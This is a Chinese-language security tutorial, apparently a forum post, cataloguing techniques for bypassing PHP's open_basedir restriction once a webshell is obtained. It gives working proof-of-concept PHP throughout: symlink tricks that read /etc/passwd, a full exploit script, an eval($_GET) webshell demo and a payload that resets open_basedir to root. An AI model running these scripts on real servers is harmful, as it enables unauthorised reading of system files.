前言

最近在学习php相关知识,想起有时拿到shell但无法访问指定目录。后某次机会在论坛上有位老哥指出如何bypass open_basedir,特此学习总结了一些bypass姿势。

open_basedir

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。
php.ini中设置open_basedir的值

设置open_basedir=/var/www/html/,通过web访问服务器的用户就无法获取服务器上除了/var/www/html/这个目录以外的文件。
假设这时连接一个webshell,当webshell工具尝试遍历和读取其他目录时将会失败。

通过系统命令函数

open_basedir对命令执行函数没有限,使用system()函数试一下

能够遍历上上级目录,而在webshell工具中时被禁止的,说明确实能够绕过

实际情况中,可能system()函数由于disable_function禁用无法使用,可通过同类执行命令函数绕过。

利用glob://绕过

glob://伪协议

glob://是查找匹配的文件路径模式,glob数据流包装器自 PHP 5.3.0 起开始有效。
下面是官方的一个domo

<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

需要和其他函数配合,单独的glob是无法绕过的。
并且局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。

利用 DirectoryIterator+glob://

DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。
脚本如下:

<?php
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>

利用 opendir()+readdir()+glob://

opendir作用为打开目录句柄
readdir作用为从目录句柄中读取目录

脚本如下

<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>

只能列目录,php7可以用如下方法读非根目录文件,glob:///*/www/../* 可列举 /var

利用 scandir()+glob://

scandir()函数可以列出指定路径中的文件和目录

这种方法也只能列出根目录和open_basedir允许目录下的文件。

利用symlink绕过

symlink()函数创建一个从指定名称连接的现存目标文件开始的符号连接。

symlink(string $target, string $link): bool

symlink()对于已有的 target 建立一个名为 link 的符号连接。
而target一般情况下受限于open_basedir。
官方的domo:

<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
# 将会输出'uploads.php'这个字符串
?>

如果将要读取/etc/passwdpoc如下

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","SD");
symlink("SD/../../../../etc/passwd","POC");
unlink("SD");
mkdir("SD");
?>

访问web后,将会生成名为POC的文件

分析一下poc过程:

  1. 创建A/B/C/D目录,并返回到起始目录
  2. symlink("A/B/C/D","SD"):创建符号文件SD,指向A/B/C/D
  3. symlink("SD/../../../../etc/passwd","POC"):创建符号文件POC,指向SD/../../../../etc/passwd。此时SD=A/B/C/D,而A/B/C/D../../../../=/var/www/html,符合open_basedir的限制,创建成功。
  4. unlink("SD"):删除软链接SD,并创建一个文件夹,此时SD作为一个真正的目录存在。那么访问POC,指向的是SD/../../../../etc/passwd,SD/../../../就是/var目录,/var/../etc/passwd恰好可以读取到etc目录下的passwd,从而达到跨目录访问的效果。

这里需要跨几层目录就需要创建几层目录。

最后附上p牛EXP

<?php
/* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) { 
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) { 
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) { 
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
    if (@is_file($deldir)) {
        @chmod($deldir,0777);
        return @unlink($deldir);
    }else if(@is_dir($deldir)){
        if(($mydir = @opendir($deldir)) == NULL) return false;
        while(false !== ($file = @readdir($mydir)))
        {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
        } 
        @closedir($mydir);
        @chmod($deldir,0777);
        return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
        $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}

利用bindtextdomain和SplFileInfo方法

bindtextdomain设置或获取域名的路径,函数原型为:

bindtextdomain(string $domain, ?string $directory): string|false

利用原理是基于报错:bindtextdomain()函数的第二个参数$directory是一个文件路径,它会在$directory存在的时候返回$directory,不存在则返回false。
SplFileInfo函数类似。
poc

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>

如果成功访问到存在的文件是会返回该文件路径:

而如果访问到不存在的文件就会返回false

这个方法感觉非常鸡肋,用起来比较恶心,最好与其他方法组合使用。

利用SplFileInfo::getRealPath()方法

(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SplFileInfo类为单个文件的信息提供了一个高级的面向对象的接口。
而其中getRealPath()用于获取文件的绝对路径。bypass原理同样是基于报错,该方法在获取文件路径的时候,如果存入一个不存在的路径时,会返回false,否则返回绝对路径,而且他还直接忽略了open_basedir的设定。

脚本如下

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s <br/><br/>", ini_get('open_basedir'));
$basedir = 'D:/CSGO/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
    $info = new SplFileInfo($basedir . $chars[$i] . '<<');
    $re = $info->getRealPath();
    if ($re) {
        echo $re."<br>";
    }
}

利用realpath列目录

环境要求:Windows

realpath()返回规范化的绝对路径名,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。

realpath(string $path): string|false

bypass原理:
与上面说到的两种方式类似。在开启了open_basedir的情况下,如果我们传入一个不存在的文件名,会返回false,但是如果我们传入一个不在open_basedir里的文件的话,他就会返回file is not within the allowed path(s),有点像盲注,基于报错来判断文件名。

脚本入下:

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'D:/5E/5EClient/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
        $file = $dir . $chars[$i] . '<><';
        realpath($file);
}
function isexists($errno, $errstr)
{
        $regexp = '/File\((.*)\) is not within/';
        preg_match($regexp, $errstr, $matches);
        if (isset($matches[1])) {
                printf("%s <br/>", $matches[1]);
        }
}
?>

利用chdir与ini_set

chdir将工作目录切换到指定的目录,函数原型为

chdir(string $directory): bool

ini_seti用来设置php.ini的值,无需打开php.ini文件,就能修改配置。函数原型为:

ini_set(string $option, string $value): string|false

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

bypass原理大概open_basedir设计逻辑的安全问题
分析过程参考:从PHP底层看open_basedir bypass

一个小demo,将该文件放到网站目录下:

<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

构造payload

mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

open_basedir被设置成了'\',失去原有的限制。

Reference

浅谈几种Bypass open_basedir的方法
PHP bypass open_basedir
php5全版本绕过open_basedir读文件脚本

最后欢迎关注团队公众号:红队蓝军

点击收藏 | 9 关注 | 3 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖